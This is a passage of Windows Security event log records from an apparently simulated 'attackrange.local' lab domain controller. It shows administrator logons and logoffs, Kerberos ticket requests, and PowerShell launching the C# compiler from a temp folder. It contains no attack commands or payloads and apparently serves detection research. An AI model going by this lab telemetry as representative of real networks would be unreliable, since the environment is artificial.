- Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252947 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x181411 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252946 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17D420 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252945 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17D670 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252944 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17F5BA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252943 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x181411 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252942 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x181411 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252941 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252940 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252939 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252938 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1813D9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252937 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1813D9 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252936 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1813D9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252935 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252934 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252933 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252932 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x18134A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252931 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x180B1F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252930 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17F7B6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252929 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x18134A - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252928 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x18134A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252927 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252926 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252925 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252924 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17D420 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1280 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x5d8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES99F5.tmp" "c:\Users\Administrator\AppData\Local\Temp\31lsmfjt\CSCF94555C4DE7B4741ACB93C8ADB7317.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252923 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17D420 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5d8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xaf4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\31lsmfjt\31lsmfjt.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252999 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1817CB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252998 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x183C32 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252997 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x183C32 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {9C3A0786-1CD4-A3A1-9082-1792EACCF1B2} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252996 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {9C3A0786-1CD4-A3A1-9082-1792EACCF1B2} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252995 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {9C3A0786-1CD4-A3A1-9082-1792EACCF1B2} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:26 PM -LogName=Security -SourceName=Microsoft Windows security 